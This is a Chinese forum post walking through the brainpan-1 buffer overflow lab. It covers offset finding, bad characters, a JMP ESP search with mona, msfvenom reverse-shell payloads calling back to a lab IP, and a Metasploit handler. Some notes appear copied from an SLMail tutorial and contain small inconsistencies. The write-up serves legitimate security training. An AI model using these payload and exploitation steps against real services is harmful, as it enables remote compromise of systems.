查看: 82|回复: 0

【网络安全】brainpan-windows缓冲区溢出详解

[复制链接]

2

主题

4

帖子

7

积分

新手上路

Rank: 1

积分
7
发表于 2023-1-9 13:36:37 | 显示全部楼层 |阅读模式
简介

渗透测试 注意
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
一、前言

缓冲区溢出(buffer overflow),是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。
项目十七:brainpan-1,专门考验缓冲区溢出知识,该项目仅仅开放了10000端口作为web端,经过简单的目录爆破就能发现存在brainpan.exe文件,该项目是乌班图环境并且安装了win的模块运行着exe文件,该文件启动了9999端口支撑服务,该环境就和AWD中的PWN题目一样,直播教学会有多种方法详细解释如何理解缓冲区溢出,如何发现缓冲区溢出,遇到缓冲区溢出如何利用,栈是什么等等问题详解。
接下来我分享其中方法一,欢迎大佬们指点。
测试是否存在缓冲区溢出:
python brainfuzzer.py 192.168.4.96 9999



通过对程序发送1~1500位不等字符进行验证,提示程序崩溃,存在缓冲区溢出!
二、windows缓冲区溢出

1、windows 10打开Immunity Debugger

Immunity Debugger-漏洞分析专用调试器,没有的百度到处是下载地址!
Immunity Debugger 安装参考:
https://blog.csdn.net/clark3256453/article/details/121422527开始利用操作: 然后点击:File-C:/....程序



运行出数据后的界面:



该界面是最初始的程序开启界面,需要点击右箭头图标才可运行程序:





开启完程序后,EAX值会清零,这时候本地程序会正常运行,并开启9999端口!
2、查询偏移量

1)利用pattern_create.rb生成1000位随机数值



/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 10002)修改脚本brainpan1



3)发送1000位随机去覆盖程序



python brainpan1.py 10.211.55.44 9999在kali执行对44的windows9999服务进行冲击。



可看到ESP已经被覆盖,得出EIP的值:35724134
4)EIP查看偏移量



/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134
  • Exact match at offset 524偏移量524!
    5)解析下如何得到的
    首先要知道内存地址和平常书写地址是相反的,内存会把内存低地址放在高位,内存高地址放在低位,所以排列顺序是:
    35724134
    34 41 72 35对比ASCII表:



    34 41 72 35
    4Ar5
    4Ar5对照ASCII表信息是:4Ar#



    所以对照的就是pattern_create.rb生成的1000字符中524位的地方存在溢出,pattern_offset.rb会自动计算在1000个字符中4Ar5位置在哪儿!
    3、查看shellcode空间大小

    思路: 将EIP修改为shellcode代码的内存地址,将shellcode写入到该地址空间,程序读取EIP寄存器数值,将跳转到shellcode代码段并执行,接下来将寻找可存放shellcode的内存空间是多少!
    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Bn73RK2F-1647250101863)([upload-images.jianshu.io/upload\_imag…](
    这里将放入472个字节C去测试!



    python brainpan2.py 10.211.55.44 9999



    EBP栈底指针已经被524个A覆盖,EIP已经指出四个B,ESP已经覆盖了472个C字节。
    在ESP位置右键选择:Follow in Dump



    在左下视图右键选择:Hex-Hex/ASCII(16 bytes)



    选择十六个字节一行显示去观察!



    可看到起始位:005ff910,结束位:005FFAE0



    1D0是十六进制,转换十进制:



    最少的shellcode需要300字节,现在寄存器的大小是464,足以存放一个shellcode!
    4、查找坏字符

    不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定用途:
    1\. 返回地址、shellcode、buffer中都不能出现坏字符
    2\. null byte (0x00)空字符,用于终止字符串的拷贝操作
    3\. return (0x0D)回车操作,表示POP3 PASS命令输入完成思路: 发送0x00--0xff 256个字符,查找所有坏字符 例如:计算机都用ASCII编码不同的编码都表示不同的字符,一个字符一个字节 00000000---11111111=256 有256种可能的字符情况
    接下来查看坏字符,重新运行程序:brainpan2





    python brainpan3.py 10.211.55.44 9999



    或者是查看:右键选择Follow in Dump







    可看到选择16字节显示后,最右边都是1~9~F说明没有坏字符!



    对比发现除了00外,其余都很正常! 接下来要找到跳转到ESP的指令指针寄存器的值!
    5、漏洞利用开发

    重定向数据流:
    1\. 用ESP的地址替换EIP的值
    2\. 但是ESP地址变化,硬编码不可行
    3\. SLMail线程应用程序,操作系统为每个线程分配一段地址范围,每个线程地址范围不确定变通思路:
    1\. 在内存中寻找地址固定的系统模块
    2\. 在模块中寻找JMP ESP指令的地址跳转,再由该指令间接跳转到ESP,从而执行shellcode
    3\. mona.py脚本识别内存模块,搜索“return address”是JMP ESP指令的模块
    4\. 寻找无DEP、ALSR保护的内存地址
    5\. 内存地址不包含坏字符



    !mona modulesSafeSEH、ASLR、NXCompat都是内存保护机制所保护的模块! 要选择JMP ESP一定要选择这三项都未False的,正好有一项符合!



    现在进入该模块去查找有没有jmp esp的命令! brainpan.exe 0BADF00D
    查找JMP ESP: 利用nasm_shell.rb查看jmp esp的地址!
    locate nasm_shell
    /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
    nasm > jmp esp
    00000000FFE4jmp esp可看到jmp esp地址:\xff\xe4
    首先我们需要找到EIP offset,也就是正好覆盖到EIP的偏移量以便我们精准的覆盖EIP寄存器。所以我们要知道哪4个 a是放入到了EIP寄存器中,这就很复杂了,当然方法是有的,这里我们使用Immunity Debugger的插件mona,这样我们就避免了平常复杂的寻找方法。
    安装mona:



    将mona.py放在Immunity Debugger安装目录PyCommands下就行了!



    !mona find -s "\xff\xe4" -m brainpan.exe





    获得JMP ESP地址:0x311712f3
    shellcode生成:



    msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=192.168.2.157 -e x86/shikata_ga_nai -b "\x00" -f py生成shellcode后进行脚本编写!
    brainpan4:
    将shellcode防止对端!
    windows10开启brainpan.exe:



    kali运行脚本:



    成功缓冲区溢出,获得反弹shell: 图片上传中...(image.png-6a1393-1647249930375-0)
    这时候要反弹linux的shellcode:brainpan5
    msfvenom -p linux/x86/shell_reverse_tcp LPORT=443 LHOST=192.168.2.157 -e x86/shikata_ga_nai -b "\x00" -f py然后替换脚本shellcode:
    替换后进行执行:
    msfconsole
    use exploit/multi/handler
    set payload linux/x86/shell_reverse_tcp
    set lport 443
    set lhost 192.168.2.157
    exploit -jMSF成功获得反弹shell!
    三、总结

    今天学到windows缓冲区溢出中windows 10使用Immunity Debugger逆向分析工具,熟悉栈如何查找栈空间,如何查看坏字符,如何编写EXP利用等等操作,最后远程代码执行控制服务器等操作,学到了非常多的小技巧和干货,希望小伙伴能实际操作复现一遍!来巩固告知企业单位的漏洞情况,并尽快进行加固巩固安全!
    希望大家提高安全意识,没有网络安全就没有国家安全!
    今天基础牢固就到这里,虽然基础,但是必须牢记于心。
  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表